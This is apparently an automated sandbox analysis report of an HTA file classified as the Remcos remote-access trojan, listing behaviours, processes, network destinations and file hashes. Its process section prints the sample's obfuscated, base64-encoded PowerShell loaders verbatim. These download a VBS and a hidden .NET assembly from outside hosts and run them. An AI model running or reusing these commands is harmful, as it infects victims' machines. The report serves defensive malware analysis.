Malware Analysis Report

2024-12-07 03:34

Sample ID 241113-h931mswqhv
Target seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta
SHA256 ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57
Tags
defense_evasion discovery execution remcos remotehost rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57

Threat Level: Known bad

The file seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution remcos remotehost rat

Remcos family

Remcos

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Checks computer location settings

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 07:27

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 07:27

Reported

2024-11-13 07:29

Platform

win7-20240903-en

Max time kernel

119s

Max time network

119s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1868 wrote to memory of 2436 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
PID 1868 wrote to memory of 2436 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
PID 1868 wrote to memory of 2436 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
PID 1868 wrote to memory of 2436 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
PID 2436 wrote to memory of 2688 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2436 wrote to memory of 2688 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2436 wrote to memory of 2688 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2436 wrote to memory of 2688 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2436 wrote to memory of 2768 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2436 wrote to memory of 2768 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2436 wrote to memory of 2768 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2436 wrote to memory of 2768 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2768 wrote to memory of 2512 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2768 wrote to memory of 2512 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2768 wrote to memory of 2512 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2768 wrote to memory of 2512 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2436 wrote to memory of 2324 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WScript.exe
PID 2436 wrote to memory of 2324 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WScript.exe
PID 2436 wrote to memory of 2324 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WScript.exe
PID 2436 wrote to memory of 2324 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WScript.exe
PID 2324 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2324 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2324 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2324 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1796 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1796 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1796 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1796 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta"

C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE

"C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c9jh26xl.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7CFE.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7CFD.tmp"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"

Network

Country Destination Domain Proto
US 198.46.178.192:80 198.46.178.192 tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f4c7a780e1906037fc1970f1abaaf266
SHA1 3a9660701b8bcb425fbe851df947a0849c1123b5
SHA256 87f6146bc7f1a97d09ab3f3620c778c8469692116713caf48ca65a1dcd2ac402
SHA512 b539ac38936b1036de5cc2ef2bd9b90a19b0ff9ce66b1de8cea97e7021cd278c225aec383cc03468985649f5ab7070f6a665dc429480f2661ddbaed3f640cbab

\??\c:\Users\Admin\AppData\Local\Temp\c9jh26xl.cmdline

MD5 c5bb54c7949e646bca196fa5a0850399
SHA1 830b1834183af2b5f95df331ed7b3cea63c9f044
SHA256 e1f4cbd5630944181eb77e811cdd1327f0208d1e8fa0c289249ee90bdf11714f
SHA512 5f761b12ac4f51a534ef82605cec7cd784fa97a86614b15ec6bc67b2b91adb865fb0dd96f9fd5210763b87361bedd866f3ad042603d964939fdd042bd6f97a08

\??\c:\Users\Admin\AppData\Local\Temp\c9jh26xl.0.cs

MD5 f8f40cf06d8b2ceb49d38fdf52e8ecc0
SHA1 1ff0676c6503f21f4899ba1cbc30351318403804
SHA256 39f96499c4e911bc620f0facad68dab4452781beb339326f5910c5caea5714a2
SHA512 020e05dd5bd89e587dfa492086e433ea0620fb58ead54c1325a527ba8d1bf7251faa66116b69b4a802e4f2994215de1b146fd2df6f9347470e280bf7a22a7857

\??\c:\Users\Admin\AppData\Local\Temp\CSC7CFD.tmp

MD5 1272023feb4c560e89868f6be02e8d77
SHA1 31b1cdf941f22cc5dd84ea03332f131733bb7f31
SHA256 0212f1ff433cc16843f4f5f15848ad32482d596249ce22342135ac8b88a0eb6a
SHA512 1704eeee332c362a65c97a256ef998501b235e0f11454b01acb45fc05c895d4d6809282a66984cdeb25aa37285045e58dc08e702d1801e0aee03d9b1adb2722d

C:\Users\Admin\AppData\Local\Temp\RES7CFE.tmp

MD5 706df9868304181d17f617cc4b7b9bca
SHA1 f838e34ff3c31a9b4791e0a51513ad11a5d109e1
SHA256 3241a5ccc17e751145edf1a78018a3810df9c8f0992089647ad916abf4f0bc64
SHA512 25fcddffcb49e669062bb8357c0ee6845ebc7434abfaedecf8b218b54db8276a34e4bd33186351385eb6ea75fe66331c45213d5139c2f5b8a1d5f6c6ecb58590

C:\Users\Admin\AppData\Local\Temp\c9jh26xl.dll

MD5 69c8f64446357f760a3fc3111bdf9fa0
SHA1 af7013cb25e93c195e900b211622f9558b8cb812
SHA256 776090315bcb64edec1ae8c2f41df389b9974c3d4d59f62167b9ad641f06d53a
SHA512 b13146e392006f4f3bc1e1da71a95dbed11b7aaa02293cb2577ecbd838c0eaa332dc6bfc9f54ea1ca4e081f06441626599b6d1f38f9453df8bbef51aa7ae4efa

C:\Users\Admin\AppData\Local\Temp\c9jh26xl.pdb

MD5 46dfc2353e019bc901a19e0e2e0c348a
SHA1 903ec8c3634503cde5e17fd3a1310c9860fe1dad
SHA256 a9334645312eb8e8ea4bb4755231802aebfc9e1fa00ae726276afc48449ae914
SHA512 5683631ba9865ea10b2a3940509401d35e8e7d0144715fdbb4d965af210f8a3541408be3213950a54e043e4d41a229eea831169e37c489098a6753ad1d5c15e6

C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS

MD5 1860dcae987d5ed903d93a6cfc698eaf
SHA1 aaee36eb86bd7c80fd0ae9328bea5650f8c74d12
SHA256 d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3
SHA512 73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 07:27

Reported

2024-11-13 07:29

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

150s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Remcos

rat remcos

Remcos family

remcos

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1148 set thread context of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3940 wrote to memory of 3676 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
PID 3940 wrote to memory of 3676 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
PID 3940 wrote to memory of 3676 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
PID 3676 wrote to memory of 1360 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3676 wrote to memory of 1360 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3676 wrote to memory of 1360 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3676 wrote to memory of 1608 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3676 wrote to memory of 1608 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
